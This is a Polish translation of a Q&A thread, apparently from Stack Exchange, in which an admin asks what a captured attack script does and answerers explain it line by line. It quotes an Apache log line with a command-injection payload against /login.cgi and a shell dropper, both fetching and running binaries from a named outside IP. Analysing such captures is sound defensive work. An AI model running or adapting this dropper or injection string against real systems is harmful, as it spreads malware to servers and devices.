Co robi ten skrypt bash? [Próba włamania]


31

Zauważyłem ostatnio na moich serwerach dzienniki apache, następujące dziwne linie:

156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0"

Zrobiłem więc niestandardowy filtr Fail2Ban i zacząłem blokować adresy IP żądające tych adresów URL /login.cgi.

Byłem jednak ciekawy, co próbują zrobić, więc wyciągnąłem skrypt, który próbują wykonać, i nie wydaje mi się, żeby dokładnie zrozumiał, co on właściwie robi. Coś na temat usuwania folderów arch w / var i / tmp?

W każdym razie tutaj jest:

#!/bin/sh
u="asgknskjdgn"
bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"
http_server="80.211.173.159"
http_port=80
cd /tmp/||cd /var/
for name in $bin_names
    do
    rm -rf $u
    cp $SHELL $u
    chmod 777 $u
    >$u
    wget http://$http_server:$http_port/$name -O -> $u
    ./$u $name
done


1
Jak ten skrypt dostał się na Twój serwer?
MrWhite

3
Po prostu otwieram plik .sh w przeglądarce na komputerze domowym i kopiuję i wklejam go tutaj, tak naprawdę nigdy nie trafił na mój serwer.
ndom91

1
Ten skrypt to „dropper”, który służy do pobierania rzeczywistego skryptu exploita. Będzie to zlokalizowane w hxxp://80.211.173.159:80/$namemiejscu, w którym $nameznajduje się każda architektura procesora bin_names. Tak więc zostanie pobranych i wykonanych 7 skryptów ataku
BlueCacti

Odpowiedzi:


42

Linia po linii:

#!/bin/sh

Ustala shpowłokę, w zależności od tego, która jest, jako linia shebang. sh%20/tmp/ksw żądaniu przesłania to, więc ten wiersz jest traktowany jako normalny komentarz i ignorowany.

u="asgknskjdgn"

Deklaruje dowolną nazwę, prawdopodobnie w celu uniknięcia kolizji z innymi nazwami plików. Nie jestem pewien, dlaczego po prostu by tego nie użyli mktemp, ale może nie jest to dostępne na wszystkich platformach.

bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32"

Wymienia kilka typowych architektur procesora.

http_server="80.211.173.159"
http_port=80

Serwer, który ma exploita.

cd /tmp/||cd /var/

Próbuje zmienić katalog w miejsce, w którym Twój serwer WWW prawdopodobnie będzie mógł tworzyć pliki. Wierzę, że SELinux pomoże w tym, egzekwując znacznie bardziej rygorystyczne zasady dotyczące tego, co może zrobić serwer WWW niż system plików.

for name in $bin_names
    do

Dla każdej architektury procesora…

    rm -rf $u

Usuwa wcześniej wypróbowane programy wykorzystujące lukę. Niepotrzebne z powodu następnego wiersza, więc można je zignorować.

    cp $SHELL $u

Kopiuje bieżący plik wykonywalny powłoki ( /bin/sh). Może być zignorowany z powodu wiersza po następnym.

    chmod 777 $u

Zapewnia wszystkim pełny dostęp do nowego pliku. Powinno to nastąpić po wgetpoleceniu, które jest albo znakiem początkującego skryptu powłoki, albo techniką błędnego przekierowania.

    >$u

Opróżnia plik. Bezcelowe z powodu następnej linii.

    wget http://$http_server:$http_port/$name -O -> $u

Zastępuje plik skryptem exploita dla tej architektury. -O -> $umógł zostać zapisany -O - > $u(myślnik wskazuje, że pobieranie powinno być zapisane na standardowe wyjście), co jest równoważne -O $u.

    ./$u $name

Uruchamia skrypt exploitów z architekturą jako pierwszym argumentem.

done

Kończy pętlę.

Wygląda na to, że jest to trywialny skrypt próbujący wykorzystać exploity, próbujący znanych exploitów na różnych platformach CPU. Nie wiem, dlaczego zastępuje $utrzykrotnie, ale te operacje mogą po prostu pozostać po wcześniejszej iteracji skryptu. Prawdopodobnie wcześniejsza wersja miała exploity zakodowane na sztywno, a nie dynamicznie obsługiwane - pierwsza jest łatwiejsza, ale prawie gwarantuje, że skrypt będzie z czasem mniej skuteczny w miarę łatania błędów.


21
Zaletą jest jawne zapisywanie pliku. Jeśli miejsce docelowe już istnieje i jest wykonywane w tej chwili, jądro nie zezwoli na otwarcie pliku do zapisu (-ETXTBSY). Jednak zmiana nazwy lub usuwanie uruchomionego programu jest dozwolona.
grawity

Co oznacza ->w wgetpoleceniu zrobić? Dlaczego nie tylko wget ... -O $u?
RonJohn,

1
@RonJohn odczytał to jako- >
cat

5
Za -O->filenamepomocą filenamenie widać na wyjściu ps ax . Może to być zaletą, która utrudnia debugowanie.
pkt

1
cpDaje plik wykonywalny. Być może przydatne, jeśli chmodzawiedzie? Edycja: biorąc pod uwagę, że najwyraźniej dotyczy to routerów, całkiem możliwe, że chmodnie istnieje.
Bob

12

Jest wgetto kluczowa niebezpieczna linia.

for name in $bin_namesPracuje listę platform i dla każdej platformy jest wyczyszczenie katalogu tymczasowego, kopiowanie powłokę nad czym czyni go dostępnym dla każdego.

Następnie pobiera plik za pomocą, wgeta następnie wykonuje go za pomocą programu powłoki, który właśnie skopiował.

Skrypt w zasadzie próbuje pobrać serię plików wykonywalnych lub skryptów dla każdej platformy, którą może, i ocierać je o system w nadziei, że może jeszcze bardziej zagrozić systemowi.


6
tarcie == bieganie?
Barmar

5
@Barmar Jestem pewien, że było to zamierzone: P
Canadian Luke REINSTATE MONICA
Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.